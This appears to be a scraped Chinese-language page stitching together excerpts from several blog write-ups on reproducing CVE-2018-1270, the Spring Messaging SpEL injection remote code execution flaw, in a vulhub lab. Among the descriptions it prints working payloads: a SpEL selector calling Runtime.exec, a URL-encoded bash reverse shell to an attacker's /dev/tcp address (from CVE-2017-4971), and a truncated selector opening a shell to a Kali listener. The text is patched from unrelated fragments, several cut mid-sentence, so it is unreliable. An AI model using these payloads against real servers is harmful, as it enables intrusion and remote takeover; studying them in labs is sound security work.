复现CVE-2018-1270——Spring Messaging 远程命令执行漏洞

声明 好好学习，天天向上 漏洞描述 spring messaging为spring框架提供消息支持，其上层协议是STOMP，底层通信基于SockJS， 在spring messaging中，其允许客户端订阅消息，并使用selector过滤消息。selector用SpEL表达式编写，并使用StandardEvaluationContext解析，造成命令执行漏洞。 影响范围 Spring Framework 5.0 to 5.0.4. Spring Framework 4.3 to 4.3.14 已不支持的旧版

https://vulhub.org/#/environments/spring/CVE-2018-1270/ 根据官方的说法，应用的场景各不相同，官方的exp代码还是很容易看懂的 1、基础地址，在vulhub中为http://your-ip:8080/gs-guide-websocket 2、待执行的SpEL表达式，如T(java.lang.Runtime).getRuntime().exec('touch /tmp/success') 3、某一个订阅的地址，如vulhub中为：/topic/gree.

CVE-2018-1270 是 Spring 框架中的一个高危远程代码执行（RCE）漏洞，影响 Spring Framework 5.0–5.0.4 和 4.3–4.3.14 版本。攻击者通过构造包含恶意 SpEL（Spring Expression Language）表达式的 STOMP 消息，利用 Spring Messaging 模块的路径解析缺陷，触发任意代码执行。漏洞的核心在于 SpEL 表达式解析时使用了高权限的 StandardEvaluationContext，允许完全访问 Java 类和方

本片文章主要复现了Spring messaging(CVE-018-1270)的漏洞复现，依旧是由于对于spel没有进行过滤而导致的远程RCE，对于漏洞的成因，本文也依据IDEA进行的复现，最终找到进行SPEL注入的根本原因

漏洞概述 Spring框架中通过spring-messaging模块来实现STOMP（Simple Text-Orientated Messaging Protocol），STOMP是一种封装WebSocket的简单消息协议。攻击者可以通过建立WebSocket连接并发送一条消息造成远程代码执行 影响版本 Spring Framework 5.0 to 5.0.4 Spring Framework 4.3 to 4.3.14 环境搭建 拉取环境 docker ...

Spring-Messaging远程代码执行漏洞复现（CVE-2018-1270） Spring框架中通过spring-messaging模块来实现STOMP（Simple Text-Orientated Messaging Protocol），STOMP是一种封装WebSocket的简单消息协议。攻击者可以通过建立WebSocket连接并发送一条SpEL表达式消息造成远程代码执行。...

Spring Messaging 远程命令执行漏洞（CVE-2018-1270） by ADummy 0x00利用路线 ​ 订阅的时候插入SpEL表达式—>向此订阅发送消息—>触发命令执行 0x01漏洞介绍 ​ STOMP（Simple Text Orientated Messaging Protocol）全称为简单文本定向消息协议，它是一种在客户端与中转服务端（消息代理Broker）之间进行异步消息传输的简单通用协议，它定义了服务端与客户端之间的格式化文本传输方式。已经在被许多消息中间

前两天接到朋友对某个授权目标的漏扫结果，也算是初次接触到这个漏洞，就想着顺手分析一下复现一下，因为分析这个漏洞的文章也比较少，所以刚开始比较迷，进度也比较慢。

CVE-2018-1270-Spring Messaging RCE漏洞复现

Spring Messaging为Spring框架提供消息支持，用户使用受影响版本的Spring Framework时，允许应用程序通过Spring Messaging模块内存中STOMP代理创建WebSocket。由于selector用SpEL表达式编写，并使用StandardEvaluationContext解析(权限太大)，进而导致远程执行代码攻击。访问：http://192.168.25.128:8080/gs-guide-websocket。1.准备shell命令。

CVE-2017-4971 // 注意反弹的端口和IP修改，反弹语句需要url编码 &_(new+java.lang.ProcessBuilder("bash","-c","bash+-i+>%26+/dev/tcp/攻击机IP/端口号+0>%261")).start()=vulhub

'selector': 'T(java.lang.Runtime).getRuntime().exec(new String[]{"/bin/bash","-c","exec 5/dev/tcp/你的kaliIP/kali监听端口;sockjs = SockJS('http://你的靶机IP:8080/gs-guide-websocket')

Spring Messaging 远程代码执行漏洞分析（CVE-2018-1270）

漏洞复现过程中的记录，方便自己以后查看

2. 用[sockjs协议](https://github.com/sockjs/sockjs-client)发送文本流，sockjs会选择一个合适的通道：websocket或xhr(http)，与后端通信。在vulhub中，我们向`/app/hello`发送一个包含name的json，即可触发这个事件。2. 待执行的SpEL表达式，如`T(java.lang.Runtime).getRuntime().exec('touch /tmp/success')`根据你自己的需求修改POC。

0x00 前言 趁着五一休息，分析了一下Spring的历史漏洞，这里记录一下对Spring-Messaging远程代码执行漏洞（CVE-2018-1270）的分析。该漏洞涉及到如下概念： 1、WebSocket协议，是HTML5提供的一种可在单个TCP连接上进行全双工通讯的协议。即允许服务端主动向客户端推送数据，详情可以参考这里，讲的挺好的。 2、SockJS，一个JavaScript库，它在浏览...

SpEL注入漏洞